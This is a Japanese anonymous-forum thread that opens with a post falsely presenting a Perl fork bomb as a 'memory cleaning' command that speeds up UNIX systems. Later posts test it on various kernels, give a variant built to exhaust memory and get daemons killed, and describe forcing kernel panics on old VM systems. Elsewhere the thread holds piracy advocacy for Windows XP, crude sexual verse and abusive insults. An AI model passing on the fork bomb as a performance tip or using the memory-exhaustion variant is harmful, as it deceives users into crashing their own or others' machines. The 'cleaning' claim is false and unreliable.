簡単！メモリクリーニング

[1 名無しさん＠お腹いっぱい。 NG NG]

UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、

$ perl -e 'while (1) { fork; }'

とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数％レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。

[435 思い出の渚 NG NG]

ぱんつ(キミ)を見つけたこの渚に
ひとりたたずみ思い出す
小麦いろしたかわいいシミ
忘れはしないいつまでも
港逃げるぱんつ盗んで
黒い透けパンレースなびかせ
股にあてがいしごいてみても
もう立ち上がらない
ぼくのちんちん

股にあてがいしごいてみても
もう立ち上がらない
ぼくのちんちん

[436 名無しさん＠お腹いっぱい。 NG NG]

>>431
死ね気違い

[437 名無しさん＠お腹いっぱい。 NG NG]

8243931931

[438 名無しさん＠お腹いっぱい。 NG NG]

ぱんつのしみくさいくさい

[439 名無しさん＠お腹いっぱい。 NG NG]

うちのパンツしりませんか？

[440 名無しさん＠お腹いっぱい。 NG NG]

>>436
>>437
板違い

[441 名無しさん＠お腹いっぱい。 NG NG]

パンツを切り刻んでる姿を想像してボッキした香具師挙手

[442 名無しさん＠お腹いっぱい。 NG NG]

マゾっけのある変態がいるスレはここですか?

[443 名無しさん＠お腹いっぱい。 NG NG]

サドっけがあります

[444 名無しさん＠お腹いっぱい。 NG NG]

佐渡それは悲しい佐賀

[445 名無しさん＠お腹いっぱい。 NG NG]

>>439
僕の右手知りませんか？

[446 名無しさん＠お腹いっぱい。 NG NG]

神の左手悪魔の右手

[447 名無しさん＠お腹いっぱい。 NG NG]

>>445
行方不明になったのか？

[448 名無しさん＠お腹いっぱい。 NG NG]

ミギーか手っちゃんなんだろ、>>445の右手は。

[449 名無しさん＠お腹いっぱい。 NG NG]

(゜o゜ ) ………

[450 名無しさん＠お腹いっぱい。 NG NG]

( ﾟдﾟ)ﾎﾟｶｰﾝ

[451 名無しさん＠お腹いっぱい。 NG NG]

( ﾟдﾟ)ｶﾎﾟｰﾝ

[452 名無しさん＠お腹いっぱい。 NG NG]

男でもパンツは切り刻んでから捨てろ。
変態ホモにﾊｧﾊｧされてるかもしれないぞ。

[453 ホモ NG NG]

>>452
むしろ光栄だな

[454 名無しさん＠お腹いっぱい。 NG NG]

ホモはホモサピエンスの略である。

[455 名無しさん＠お腹いっぱい。 NG NG]

ホモはホモ牛乳の略である。

[456 名無しさん＠お腹いっぱい。 NG NG]

ユニックスにメモリクリーニングなど必要ない!!




ーーーーーーー糸冬了ーーーーーーー

[457 名無しさん＠お腹いっぱい。 NG NG]

>>456
生産ラインにつないでいるユニックスマシンのメモリを
定期的に掃除機でクリーニングしていますが、何か。。。

[458 名無しさん＠お腹いっぱい。 NG NG]

ついでに石鹸水でジャブジャブ洗っとけ

[459 名無しさん＠お腹いっぱい。 NG NG]

>>457
もれはメモリーだけではなくCPUクーラーも掃除するなぁ。
あとはファン周りとかM/Bとかケースの底にたまったほこりとか。

[460 名無しさん＠お腹いっぱい。 NG NG]

( ﾟдﾟ)ﾎﾟｶｰﾝ

[461 名無しさん＠お腹いっぱい。 NG NG]

クリーニングしない椰子はPCから発火して焼け氏ね。

[462 名無しさん＠お腹いっぱい。 NG NG]

ddでディスククリーニングしちゃった香具師はいますか

[463 名無しさん＠お腹いっぱい。 NG NG]

クリーニングディスクにクリーニング液を数滴(湿式)
ドライブにいれたあと
dd if=/dev/fd0 of=/dev/null bs=512 count=200

[464 名無しさん＠お腹いっぱい。 NG NG]

>>463
> クリーニングディスクにクリーニング液を数滴(湿式)
> ドライブにいれたあと
> dd if=/dev/fd0 of=/dev/null bs=512 count=200

間違い。 Linux の場合、下記が正しい。
ディスクアクセスが速くなった気がする。
dd if=/dev/hda of=/dev/zero bs=1024 count=10000

[465 名無しさん＠お腹いっぱい。 NG NG]

>>464
この板でそのOSの名前出すと
変なのがよりあつまってきますよ

[466 名無しさん＠お腹いっぱい。 NG NG]

>>465
「間違い」と言っている時点で喧嘩を売ってるから望むところなんじゃないか?
ここは犬板でないのに犬以外のOSについて書くと間違っているといわんばかりだしな。

Linux(kernel 2.4.20で確認)にも/dev/fd0や/dev/nullがあるのに
そういうこと書いているということは釣死だろうから
こういうことを書いてほしいがためにやってるんだろうが。

[467 名無しさん＠お腹いっぱい。 NG NG]

あんたが正解。
最近のUNIX版はレベルが低下してて盛り上がりに
欠けるからわざとああいうふうに書きました。
適当なこと書いてごめんよ。

[468 名無しさん＠お腹いっぱい。 NG NG]

ドル箱を積みましょう。

[469 名無しさん＠お腹いっぱい。 NG NG]

ジャンジャンバリバリ

[470 名無しさん＠お腹いっぱい。 NG NG]

あの・・・
Windowsって何ですか？
そんな古臭いＯＳなんてもう使えませんよ。

ま、ともかく
＊WindowsXPプリインストールＰＣを買う奴：気違い
＊WindowsXPを買う奴：世界の経済を狂わせる奴
＊WindowsXPをMXとかからダウンロードする奴：世界経済を安定化させる勇者

どうしても、WindowsXPを使いたければ、ダウンロードして、購入資金を
赤十字に寄付しましょう。

それでなければ、OpenBSDでもインストール汁

[471 名無しさん＠お腹いっぱい。 NG NG]

M$に嫉妬するなよ。

[472 名無しさん＠お腹いっぱい。 NG NG]

釣れた釣れた

[473 名無しさん＠お腹いっぱい。 NG NG]

OpenBSDって近頃やっとELFに移行した時代遅れさんでしょ？

[474 名無しさん＠お腹いっぱい。 NG NG]

>>470
独り言はhttp://etc.2ch.net/hikky/でやってくれ。

>>473
昔のFreeBSDもそうだけれどaoutでダイナミックリンクを実現する仕組みが
あったためにELFに移行する必要性がさほど無かったのではないかな。
んま、ELFになったほうがいろいろと便利なことはあるけど。

[475 名無しさん＠お腹いっぱい。 NG NG]

>>474
煽りに親切すぎ
でも勉強になった

[476 名無しさん＠お腹いっぱい。 NG NG]

リナックス氏ね

[477 名無しさん＠お腹いっぱい。 NG NG]

だから、そのスクリプトを入力をすれば氏ぬってば

[478 名無しさん＠お腹いっぱい。 NG NG]

死なないんですけど

[479 名無しさん＠お腹いっぱい。 NG NG]

$ perl -e 'while (1) { fork; }'
で、氏なないってのかい？

[480 名無しさん＠お腹いっぱい。 NG NG]

死なないな
つか、frokしただけで死ぬかよ

[481 名無しさん＠お腹いっぱい。 NG NG]

>>479
スレをよく嫁
ｶﾞｲｼｭﾂすぎてつまらん新しいネタもってこいやヴォケ

[482 名無しさん＠お腹いっぱい。 NG NG]

>>479
15分くらい放置してみた
数えたわけじゃないけど、15分もあれば相当な数の無駄プロセスが生成されてるが
既存のプロセスは何の問題もなく動いてる
新しいプロセスも生成できた
perlの親プロセス殺したら即座に無駄プロセス全部消えた

これでほんとに死ぬのかよ
うちは死ぬ気配どころか、何の悪影響も及ぼしてないんだが

[483 名無しさん＠お腹いっぱい。 NG NG]

犬のことはよく知らんけど、一つの親から作れる子プロセス数に制限があるのかな?
uname -aしてkernelのバージョンいくつか教えて。

[484 名無しさん＠お腹いっぱい。 NG NG]

>>483
Linux Murder 2.6.0-test9-mm5
最大のプロセス数は、kernelのヘッダの中のどれかに書いてあると思ったが
数万個だったと思う。たぶん65535個？
2.4.20-ck6でも検証したけど同じく死なないよ。

たぶんこれで死ぬとしたらプロセスの生成にハードの性能が追いつかない
メモリが足りない、CPUがトロいなんかの理由で固まるんでないの？

[485 名無しさん＠お腹いっぱい。 NG NG]

いや、プロセステーブルを使い切って死ぬという話だったと思うよ。
ちなみに実行したのは一般ユーザー?root?
過去のレスには一般ユーザーなら平気だけれどrootでやると固まるという報告があるね。

何の影響もないということだけれど、一瞬すごく動作がとろくなるということもないの?

[486 名無しさん＠お腹いっぱい。 NG NG]

>>485
rootも一般ユーザも試したよ。
動作がトロくはなってないなぁ。
どれくらい変るもんなのかってのが疑問だが、体感する程遅いようなことはなかった。
放置した15分間はfirebirdで/.Jにコメントつけたり
2chで他のスレ見たりしてたけど、遅くなった感じはない。
firebirdは、無限forkを始めてから起動させた。
forkする様子をみるためにtop起動させて監視してたら
firebirdの起動スクリプトが一瞬でて、またすぐperl埋めつくされ
また一瞬firebirdのスレッドが表示されたと思ったら
またもやperlに埋めつくされた。

その後rootで無限forkさせたときは、mikmodでmodきいてた。
音が途切れることもなかったし、途中で始めたdilloのmakeも滞りなく終ったよ。

その後2.4.20-ck6で検証したんだけど、それは別マシン。
そっちはファイル倉庫にしてあるやつで、httpとsshがdeamonとして常駐してる。
20分近く放置してあったけど特に問題はないな。
外部の公開してるわけじゃないので、セキュリティ対策はほとんどしてない。
こっちは一般ユーザで検証するのが面倒なので、rootでのみ検証した。

どっちのマシンもCPUとメモリはほぼ同じ
2.6がノートで、2.4のほうはデスクトップ
ノートはPentium3 500Mhz Memory 256MB(オンボードメモリは無し)
デスクトップの方はCPUは同じ(だけどデスクトップ用のPentium3)、そしてノートより若干メモリが多い(オンボード + 256MB)

ディストリはどちらもGentoo Linux。
ノートの方はマメにアップデートしてるので
Gentoo 1.4で~x86(unstable)な環境。
デスクトップの方はほとんどイジってないので
Gentoo 1.4-rc4のままだったかな。

[487 名無しさん＠お腹いっぱい。 NG NG]

debianは氏んだ

[488 名無しさん＠お腹いっぱい。 NG NG]

単にforkするよりも大量にスレッド生成するプロセスをforkしまくって
猶且 大量のメモリ確保したらどうだろうか
スレッドの生成とメモリ確保のコストの高さを利用して落すという単純な発想だが
CPUとメモリに余裕のある業務用の高級鯖マシンでもなければ
大概のOSがコロっといくと思うんだが
わざわざそんなの書くのもマンドクサイのでsage
#少なくとも1CPUでメモリが256、512程度だとまずどのOSも耐えられないと思う

[489 名無しさん＠お腹いっぱい。 NG NG]

>>487
氏ななかったよ。

% uname -r
2.6.0-test10

[490 名無しさん＠お腹いっぱい。 NG NG]

ち……………ちんこ！

[491 名無しさん＠お腹いっぱい。 NG NG]

まんこ！

[492 名無しさん＠お腹いっぱい。 NG NG]

なんじゃこりゃあああああああああああああああああああああ
かたまった！！！！！！！！！！！！！！！！！！！！！！！！

[493 名無しさん＠お腹いっぱい。 NG NG]

>>492が勃起したらしいです

[494 名無しさん＠お腹いっぱい。 NG NG]

つーことで
そろそろまとめろや
os ver user root
でいいから書きやがれ

[495 名無しさん＠お腹いっぱい。 NG NG]

プロセス無限増殖で落ちるのはWinとDOSくらいでしょ

[496 名無しさん＠お腹いっぱい。 NG NG]

RedHat9 kernel2.4.20 user落ちない　root落ちる　（userでも落とせなくはない）

[497 名無しさん＠お腹いっぱい。 NG NG]

Debian woody kernel 2.4.23 user 落ちない root 落ちない
Debian woody kernel 2.4.20-ck7 user 落ちない root 落ちない
Gentoo 1.4(~x86) kernel 2.6.0-test11 user 落ちない root 落ちない
Gentoo 1.4(x86) gentoo-sources-2.4.20-r8 user 落ちない root 落ちない

番外
FreeBSD 4.8R user 落ちない root 落ちない

[498 名無しさん＠お腹いっぱい。 NG NG]

>プロセス無限増殖で落ちるのはWinとDOSくらいでしょ

DOS???

[499 _ NG NG]

>>398
Appollo Domain の Aegisには ACLはいってましたが？
つーか、それだって最初じゃないよなぁ。

古れすすまんのぉ。

[500 _ NG NG]

>>488
確保しても書き込みとかしてpage-inさせないとMapされておしまいだし、
読み出してもどうせ同一ページ参照されるだけでメモリは消費されない。
Process/Thread 大量につくってもTextは同一ページだから同じ。
ProcessTable消費されるだけ。

vmのいじめ方しらない香具師おおいな。

[501 名無しさん＠お腹いっぱい。 NG NG]

知ってる人ｷﾀ━ヾ(　 　)ﾉ゛ヾ(　ﾟд)ﾉ゛ヾ(ﾟдﾟ)ﾉ゛ヾ(дﾟ　)ﾉ゛ヾ(　　)ﾉ゛━━!!

じゃあ、そのイジメかたとやらを書いてみてはいかが？

[502 _ NG NG]

userland で簡単なのは実際にメモリを使えばいいわけだから
perl -e 'while(1){local($time)=time; fork;}'
かな？　とりあえず使い切るまでメモリつかってくれるはず。

途中で新プロセスがメモリ使えなくなってkillされるけど、懲りずに
つづけてれば既存processやdaemon processで新規ページがとれずに
そっちがkillされはじめるよ。

limitでプロセス制限かかってるなら、消費するメモリサイズを大きめに
とること。逆にいうと、管理者はdatasizeとmaxprocを適切に管理する事。

[503 _ NG NG]

また、古い（いまも残ってる）system だと datasizeはexecとmmap時にしか
参照しないんで、datasizeよりちょい少なめでmallocかけると実際にメモリ
（Swap込み）が足りなくても allocateは成功する。

で、古いvm（mach64 vmベースでいまも残ってるかも）だと page 使い切った
時点で panic するから、これやるとかたまるどころかkernel panicまで
もちこめるよ。

ためしてみそ。

[504 名無しさん＠お腹いっぱい。 NG NG]

ためしてみそといわれても、さすがに古いシステムさがすの大変なんだが

[505 名無しさん＠お腹いっぱい。 NG NG]

リナックスは落ちる糞OS！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！

[506 名無しさん＠お腹いっぱい。 NG NG]

ウィンドウズは何もしなくても落ちる糞OS！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！

[507 名無しさん＠お腹いっぱい。 NG NG]

メモリの掃除ぐらいしろ

[508 名無しさん＠お腹いっぱい。 NG NG]

ぼくの部屋も掃除が必要です。

[509 名無しさん＠お腹いっぱい。 NG NG]

害虫駆除業者が必要です。

[510 名無しさん＠お腹いっぱい。 NG NG]

リナックスはうんこ
そろそろ認めろよ

[511 名無しさん＠お腹いっぱい。 NG NG]

じゃ、なにが、もすすめだね？

[512 名無しさん＠お腹いっぱい。 NG NG]

Ｗｉｎｄｏｗｓ

[513 名無しさん＠お腹いっぱい。 NG NG]

>>512
せめてLinux以上の物を言ってくれ

[514 名無しさん＠お腹いっぱい。 NG NG]

ソラリスは？

[515 名無しさん＠お腹いっぱい。 NG NG]

LinuxがいつWindows以上になったんだ？

[516 名無しさん＠お腹いっぱい。 NG NG]

>>515
激しく同意。

[517 名無しさん＠お腹いっぱい。 NG NG]

>>515
そういう事は、MSがマトモなOS作ってから言いましょうね。
Windowsと比較するのは、他のOSにとって失礼に値しますよ。
Winマンセーなら窓板だけでやっててください。

[518 名無しさん＠お腹いっぱい。 NG NG]

いや、そもそもWindowsに安定性求めるなんて筋違いもいいところだよ
むしろWindowsにそんな求める連中は死んでくれ。
売れたもんが正義なんだよ。

[519 名無しさん＠お腹いっぱい。 NG NG]

ぶっちゃけ負荷耐性と安定性はWindowsは今のところ最低レベル。
他のOSが特別凄いんじゃなくて、Windowsが異常にダメ。
スケーラビリティも最悪、そもそもOSレベルで要求するスペックが高すぎてお話にならない。
どんなに資源増やしてもあっという間に食いつくしてしまう点も最悪

犬叩きしたいなら、せめてFreeBSDか商用Unixとの比較じゃないと無理。

それに何も負荷耐性だの安定性だので勝負しなくても、WindowsはGUI周りのパフォーマンスは今のところ一番高いし、UIはそこそこ扱い易いし
クライアント用OSとしてはデファクトスタンダードだし
とくに引け目を感じる事はないと思うけどね。
個人で使う分にはスケーラビリティも安定性も負荷耐性も特に気にする必要ないし
高負荷になって落ちても、気にせず再起動すればいいんだし
不正終了してファイル壊れたって気にしないでフォーマットして再インスコしちゃえばいいんだしさ。
脆弱性の事だって、こんだけセキュリティについて騒がれてるのに
そんな事は一切気にせず穴だらけのままWindows updateしない人だっているんだから
Windowsユーザー内に限っては脆弱性なんて殆ど問題視されてないともいえる。
だから穴だらけでも全然OKなんだから気にする事はない。
ただ周りが迷惑するだけなんだから、MSを見習って細かい事は気にせず周りに迷惑かかっても知ったこっちゃねーよくらいの勢いのほうがいい。

[520 名無しさん＠お腹いっぱい。 NG NG]

>個人で使う分にはスケーラビリティも安定性も負荷耐性も特に気にする必要ないし
何よりＭ＄が気にしていない罠

[521 名無しさん＠お腹いっぱい。 NG NG]

>個人で使う分にはスケーラビリティも安定性も負荷耐性も特に気にする必要ないし
>高負荷になって落ちても、気にせず再起動すればいいんだし
その感覚を最大限に刷り込まれた馬鹿どもが、サービス機材を安易に
リセットしたがるようになったのは最低に痛いよ。
原因探れないから予防策もとれねー。

[522 名無しさん＠お腹いっぱい。 NG NG]

>>521
そういうのはMSがいる限りどうしようもないと思ってあきらめれ

[523 名無しさん＠お腹いっぱい。 NG NG]

>>521
まあ、Windows 95,98のころに「Windows おかしくなったら　再起動」という習慣がついていた人は多いだろうからね。
実際、当時は24時間連続稼動するのはほとんど行われていなかったと思うし。

余談だけれどPCでUnixもどきOSを動かすのが普及したからか、
教育用UnixマシンをX端末から使っている学生が
「家のLinuxでログアウトするときはshutdown -h nowって打ってるんですけど、ここのは打っても変なメッセージが出てきてログアウトできないんですけど」
と言ったのには驚いた。
shutdownのコマンドの意味について小一時間ほどお説教したのは言うまでもないことだが。

[524 名無しさん＠お腹いっぱい。 NG NG]

>まあ、Windows 95,98のころに「Windows おかしくなったら　再起動」という習慣がついていた人は多いだろうからね。
つーか、今も昔もそれは常識。

おかしくなったら再起動
壊れたかなと思ったら再インスコ

一番手っ取り早くて、確実
誰も迷わないし、下手に苦労するよりも解決は早い
マメにバックアップとっておけばデータの復旧も楽。

ユーザーに手段を与えず、作業を単一化してしまうことで
無駄な問題の発生を抑えてる。

[525 名無しさん＠お腹いっぱい。 NG NG]

ＬＩＮＵＸは落ちまくり！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！

[526 名無しさん＠お腹いっぱい。 NG NG]

必死だな

[527 名無しさん＠お腹いっぱい。 NG NG]

Mac　OSXも糞重くなったけど落ちませんね。

[528 名無しさん＠お腹いっぱい。 NG NG]

ＬＩＮＵＸはゴミ！

[529 名無しさん＠お腹いっぱい。 NG NG]

お受験のお子さんのお守りにMac OS X、
片思いのお子さんのお守りにLinuxいかがですか。
今ならどちらもお求め安くなっていますよ。

[530 名無しさん＠お腹いっぱい。 NG NG]

32bit藁人形 = Windows
16bit藁人形 = DOS

[531 名無しさん＠お腹いっぱい。 NG NG]

>>1
自分のPCでは一日一回実行してる。

[532 名無しさん＠お腹いっぱい。 NG NG]

嘘つきぃ…

[533 名無しさん＠お腹いっぱい。 NG NG]

リナックスはょわぃ

[534 名無しさん＠お腹いっぱい。 NG NG]

Windowsは直ってないバグの数とセキュリティホール,そして一年間の再起動の回数で最強
どれも最多

[535 名無しさん＠お腹いっぱい。 NG NG]

「Windowsは」ってひとくくりにできるDQNなセンスに乾杯